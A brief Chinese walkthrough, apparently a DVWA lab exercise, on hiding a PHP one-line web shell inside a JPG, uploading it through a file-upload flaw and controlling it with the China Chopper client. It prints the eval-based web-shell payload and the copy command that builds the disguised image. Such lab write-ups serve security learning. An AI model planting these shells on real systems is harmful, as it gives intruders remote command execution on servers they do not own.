1、先制作图片一句话木马：
找好一张图片如”fox.jpg“，并且准备好一句话脚本php文件fox.php，在图片所在文件夹打开cmd命令行，执行命令：copy fox.jpg/b+fox.php/a fox1.jpg，生成图片一句话文件fox1.jpg
接下来用notepad++打开fox1.php图片，看看一句话也没有写入到图片当中，如图，一句话已经写入刀图片当中：
2、把图片一句话木马上传刀dvwa文件上传漏洞中，如图，上传成功：
拼接url得到：http://localhost/DVWA-master/DVWA-master/hackable/uploads/fox1.jpg
3、菜刀连接url，右击添加，填写url与密码（密码为一句话脚本的密码，如<?php @eval($_POST[\'password\']);?>的密码为password）,选择脚本类型，点击添加，添加完后，新增一条记录。
此时菜刀已经连接成功，可以访问文件/打开虚拟终端